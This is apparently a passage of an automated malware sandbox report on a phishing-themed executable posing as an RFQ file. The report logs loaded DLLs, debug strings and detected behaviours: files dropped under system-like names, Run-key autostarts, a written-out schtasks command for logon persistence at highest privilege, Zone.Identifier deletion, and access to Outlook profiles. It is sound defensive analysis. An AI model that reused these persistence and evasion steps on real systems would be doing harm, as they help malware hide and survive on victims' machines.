Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\svchost.exe	Section loaded: ucrtbase_clr0400.dll

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb1 source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbv source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: System.Drawing.ni.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: AddInProcess32.pdbpw source: AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, vexplorers.exe, 00000034.00000000.1950262138.00000000008B2000.00000002.00000001.01000000.0000000B.sdmp, vexplorers.exe.15.dr
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdb source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: .pdbHJ source: svchost.exe, 00000008.00000002.1993163112.000000A226562000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdb source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WERBC7D.tmp.dmp.31.dr
Source:	Binary string: System.Windows.Forms.pdb` source: WERA82A.tmp.dmp.18.dr
Source:	Binary string: System.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: svchost.exe, 00000008.00000002.2008517923.000001A4FFF58000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: System.Core.ni.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: C:\Users\user\AppData\Roaming\svchost.PDB source: svchost.exe, 00000008.00000002.1993163112.000000A226562000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: AddInProcess32.pdb source: AddInProcess32.exe, 00000025.00000002.2930648063.0000000005F60000.00000004.00000020.00020000.00000000.sdmp, vexplorers.exe, 00000034.00000000.1950262138.00000000008B2000.00000002.00000001.01000000.0000000B.sdmp, vexplorers.exe.15.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: svchost.exe, 00000008.00000002.2007386416.000001A4FE0AC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: pC:\Users\user\AppData\Roaming\svchost.PDB@ source: svchost.exe, 00000008.00000002.1993163112.000000A226562000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: Microsoft.VisualBasic.pdbp^y source: WERD370.tmp.dmp.40.dr
Source:	Binary string: mscorlib.ni.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 91\??\C:\Windows\symbols\dll\mscorlib.pdbx source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF76000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb\??\C:\Windows\mscorlib.pdb source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: Microsoft.VisualBasic.pdb- source: WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: svchost.PDB source: svchost.exe, 00000008.00000002.1993163112.000000A226562000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdban) source: svchost.exe, 00000008.00000002.2008581063.000001A4FFF5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr
Source:	Binary string: mscorlib.pdbSystem.Windows.Forms.ni.dllMZ source: WERBC7D.tmp.dmp.31.dr
Source:	Binary string: mscorlib.pdb@Yx source: WERD370.tmp.dmp.40.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERD370.tmp.dmp.40.dr, WERF243.tmp.dmp.51.dr, WERBC7D.tmp.dmp.31.dr, WERA82A.tmp.dmp.18.dr

Source: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

Static PE information: 0xFAFBEEAE [Sat Jun 9 06:43:58 2103 UTC]

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Code function: 0_2_00007FFD9B98026B push esp; retf 4810h	0_2_00007FFD9B980312
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 8_2_00007FFD9B95026B push esp; retf 4810h	8_2_00007FFD9B950312
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 10_2_00007FFD9B97026B push esp; retf 4810h	10_2_00007FFD9B970312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_010A0B4F push edi; ret	15_2_010A0CC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_010A0C95 push edi; retf	15_2_010A0C3A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 15_2_010AD9F7 push esp; retf	15_2_010ADA05
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_00F30C3D push edi; ret	26_2_00F30CC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 26_2_00F3D9FF push esp; retf	26_2_00F3DA0D
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 27_2_00007FFD9B94026B push esp; retf 4810h	27_2_00007FFD9B940312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_01090B4D push edi; ret	37_2_01090CC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_01090C95 push edi; retf	37_2_01090C3A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 37_2_0109D9FF push esp; retf	37_2_0109DA0D
Source: C:\Users\user\AppData\Roaming\svchost.exe	Code function: 41_2_00007FFD9B98026B push esp; retf 4810h	41_2_00007FFD9B980312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_010C0B4D push edi; ret	48_2_010C0CC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Code function: 48_2_010C0C95 push edi; retf	48_2_010C0C3A

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe

File created: C:\Users\user\AppData\Roaming\svchost.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File created: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe			Jump to dropped file
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	File created: C:\Users\user\AppData\Roaming\svchost.exe			Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vexplorers
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\user\AppData\Roaming\svchost.exe"'

Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run svchost	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vexplorers
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run vexplorers

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe:Zone.Identifier read attributes \| delete
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe:Zone.Identifier read attributes \| delete
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe:Zone.Identifier read attributes \| delete
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File opened: C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe:Zone.Identifier read attributes \| delete

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
